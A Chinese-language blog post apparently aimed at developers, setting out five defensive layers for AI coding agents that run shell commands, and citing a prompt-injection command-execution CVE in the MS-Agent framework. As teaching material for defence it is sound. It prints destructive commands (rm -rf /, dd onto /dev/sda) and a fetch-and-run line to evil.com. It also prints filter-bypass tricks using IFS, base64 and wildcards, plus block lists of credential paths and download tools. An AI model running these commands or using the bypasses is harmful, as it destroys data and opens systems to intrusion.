AI Agent 跑危险命令，我帮你总结了 5 道防线，每一层都能拦住”rm -rf”

AI Agent 跑危险命令，我帮你总结了 5 道防线，每一层都能拦住”rm -rf”

导语

如果你正在用 Claude Code、Cursor、Cline 或者任何给 AI 执行 Shell 命令权限的编程工具，那么你早晚会面对一个问题：模型可能被 prompt 注入诱导执行恶意命令，也可能因幻觉生成危险操作。2026 年 6 月曝出的 CVE-2026-2256 漏洞直接影响 MS-Agent 框架，CVSS 评分 9.8，攻击者只要构造一个精心设计的提示注入，就能让 Agent 执行任意操作系统命令。这不是科幻小说，这是已经发生的安全事件。

第一道防线：命令解析层——”你说的是什么命令？”

AI Agent 最容易被忽视的安全漏洞，就是它让模型直接生成 Shell 命令字符串，然后用 child_process.exec() 或 os.system() 一把丢出去。这意味着你给了模型一个”eval”，而攻击者可以往里塞任何东西。

Claude Code 是怎么做的？ 它没有用正则匹配危险字符——那太脆弱了。它的 bashSecurity.ts 模块超过 2400 行代码，核心是用 AST/tree-sitter 解析 命令，把 Shell 代码先解析成抽象语法树，再走 fail-closed 策略：解析失败的命令直接拒绝执行，不尝试宽松匹配。

# 反面教材：脆弱的正则拦截
def check_safe(command):
    return not re.search(r'rms+-rf', command)  # 分分钟被绕过

# 正确做法：语法级解析
import shlex
try:
    tokens = shlex.split(command)
    # 再逐 token 校验
except ValueError:
    raise PermissionError("命令无法解析，拒绝执行")

为什么 AST 解析比正则强？因为攻击者可以把 rm -rf / 编码成 ${IFS}rm${IFS}-rf${IFS}/ 或者用通配符拆解。正则跑 10 条规则覆盖不了所有变体，但语法解析器不管你怎么编码，解析出来的 token 语义跑不了。

第二道防线：路径级安全——”你动了不该动的地方”

命令过了解析关，接下来要看它操作的是哪些文件路径。Claude Code 的 pathValidation.ts 模块构建了一套白名单 + 黑名单的路径过滤体系：

• 读/写白名单：只有当前项目目录默认可读写
• 系统关键目录黑名单：/etc、/usr、/bin、~/.ssh 等不允许 AI Agent 直接写入
• 敏感路径检查：~/.aws/credentials、~/.gitconfig 这类文件不能读取

// 简化版路径校验逻辑
const BLOCKED_PATHS = [
  '/etc/', '/usr/', '/bin/', '/sbin/',
  '~/.ssh/', '~/.aws/', '~/.config/git/',
];

function validatePath(path, mode) {
  const resolved = path.resolve(path);
  // 黑名单：禁止访问系统路径
  if (BLOCKED_PATHS.some(p => resolved.startsWith(p))) {
    return { allowed: false, reason: '系统路径受保护' };
  }
  // 白名单：只允许项目目录写入
  if (mode === 'write' && !resolved.startsWith(workspaceDir)) {
    return { allowed: false, reason: '写入目标不在工作区内' };
  }
  return { allowed: true };
}

第三道防线：破坏性命令识别——”rm -rf / 就是不行”

这是最直观也是最关键的一层。当模型打算执行 rm -rf /、dd if=/dev/zero of=/dev/sda、chmod -R 000 / 这类命令时，系统需要在执行前识别并阻断。

Claude Code 的 destructiveCommandWarning.ts 模块维护了一个破坏性命令特征库，但不是简单匹配字符串——它会做语义分析。

// 破坏性命令检测（简化）
function detectDestructiveCommand(tokens) {
  const DESTRUCTIVE_PATTERNS = [
    { cmd: 'rm', flags: ['-rf', '--recursive', '--force'], risk: 'high' },
    { cmd: 'dd', flags: ['if=', 'of='], risk: 'high' },
    { cmd: 'chmod', args: ['000', '777'], risk: 'high' },
    { cmd: '>', target: ['/dev/sda'], risk: 'critical' },
  ];
  
  for (const pattern of DESTRUCTIVE_PATTERNS) {
    if (matchSemantic(tokens, pattern)) {
      return {
        blocked: true,
        reason: `检测到高危操作：${pattern.cmd}`,
        requiresApproval: true,
      };
    }
  }
  return { blocked: false };
}

第四道防线：沙箱隔离——”你可以在里面搞，但不能出来”

前三道防线都是软件层面的防御，不是万能的。攻击者总有新招式绕过校验规则。最后一道物理防线是沙箱。

2026 年，主流的 AI Agent 沙箱方案有几种：

• OS 级沙箱：Docker / Firecracker 微虚拟机，每条命令启动一个隔离容器
• 腾讯龙虾管家：腾讯电脑管家内置的 AI 安全沙箱，拦截异常支付、文件修改、Skills 注入
• nono（Rust 重写）：nolabs-ai/nono，零配置零延迟的沙箱
• openafw：本地 AI Agent 防火墙，凭据脱敏 + 按路由模型隔离

Claude Code 的沙箱决策逻辑（shouldUseSandbox.ts）是按条件判断的：

function shouldUseSandbox(command: string): boolean {
  // 命令涉及网络访问 → 沙箱
  if (hasNetworkAccess(command)) return true;
  // 涉及可执行文件下载 → 沙箱
  if (installsPackages(command)) return true;
  // 涉及系统配置修改 → 沙箱
  if (modifiesSystemConfig(command)) return true;
  // 纯读文件操作 → 不需要沙箱
  return false;
}

第五道防线：人机确认——”等我按了回车你再跑”

前三层自动判断，第四层隔离运行，但如果命令跨越了某个风险阈值——比如涉及生产数据库修改、删除用户数据、支付操作——必须等人确认。

这才是目前最可靠的防线：Human-in-the-loop。

// 高风险操作强制人工确认
function shouldRequireApproval(tokens: Token[]): boolean {
  const HIGH_RISK = [
    'drop table', 'delete from', 'update',
    'ALTER SYSTEM', 'GRANT ALL',
    'prod', 'production', '--prod',
  ];
  const commandText = tokens.map(t => t.value).join(' ');
  return HIGH_RISK.some(pattern => commandText.includes(pattern));
}

从 GitHub 的趋势来看，2026 年几乎所有主流的 AI Agent 框架都在补这个环节：

真实事故：CVE-2026-2256 是怎么发生的？

2026 年 6 月披露的 CVE-2026-2256 是 ModelScope MS-Agent 框架的命令注入漏洞，评分 9.8。

漏洞根因：check_safe() 函数使用黑名单正则来拦截危险命令。攻击者只需要一个小小的编码绕过，就能让 Agent 执行 cat /etc/shadow 甚至 wget http://evil.com/malware.sh | bash。

# 被绕过的 check_safe
def check_safe(command):
    unsafe_keywords = ['rm -rf', 'wget', 'curl', 'chmod']
    for kw in unsafe_keywords:
        if kw in command:  # 简单包含匹配
            return False
    return True

# 攻击者这样绕过
# 1. 用环境变量: ${PWD:0:1}${PWD:0:1}${PWD:0:1}/rm ... 
# 2. 用 base64 编码: echo 'cm0gLXJmIC8=' | base64 -d | bash
# 3. 用通配符: /??/?m / ???/*

这个漏洞说明一个道理：正则黑名单在前端安全里已经被证明是不可靠的，在 AI Agent 安全里更不可靠。

你的项目该怎么搭建这 5 道防线？

如果你不想依赖现成工具的默认配置，而是想自建一套 AI Agent 安全防线，这里是一个可落地的检查清单：

1. 命令解析层：不要用 exec() 字符串直接跑，先 shlex.split() 预解析，解析失败就拒绝

2. 路径安全层：硬编码系统黑名单目录，任何时候不准 AI 写入

3. 语义检测层：维护一个破坏性命令特征库，不只是匹配命令名，还要分析参数组合的语义

4. 沙箱层：Docker 或 Firecracker 跑隔离执行，容器里只有最小权限

5. 人工确认层：涉及生产环境、数据库、支付、用户数据时，必须弹窗等人批

// 整合 5 层防御的 execute 函数
async function execute(command) {
  // 第 1 层：命令解析
  const tokens = parseCommand(command);
  if (!tokens) throw new Error('命令解析失败');
  
  // 第 2 层：路径检查
  validatePaths(tokens);
  
  // 第 3 层：破坏性命令识别
  const danger = detectDestructiveCommand(tokens);
  if (danger.blocked && !(await userConfirm(danger.reason))) {
    return { error: '操作已取消' };
  }
  
  // 第 4 层：沙箱决策
  const useSandbox = shouldUseSandbox(command);
  
  // 第 5 层：人工审批（高风险跳过前 4 层）
  if (isHighRisk(tokens)) {
    await requireExplicitApproval(tokens);
  }
  
  return useSandbox 
    ? runInSandbox(command)
    : runDirectly(command);
}

下一步

如果你在团队里用 AI Agent 做自动化，我建议你做的第一件事不是优化 prompt，而是检查你的 Agent 能不能跑 rm -rf /。能跑就是高危，不能跑也不代表安全。

去 GitHub 上搜一下你们正在用的编程 Agent 工具，看看它们的 bashSecurity 或 commandGuard 模块有没有公开的源码。如果没有，至少检查一下配置里有没有禁止危险命令的选项。2026 年的 AI Agent 安全，已经不是”要不要做”的问题，而是”做多深”的问题。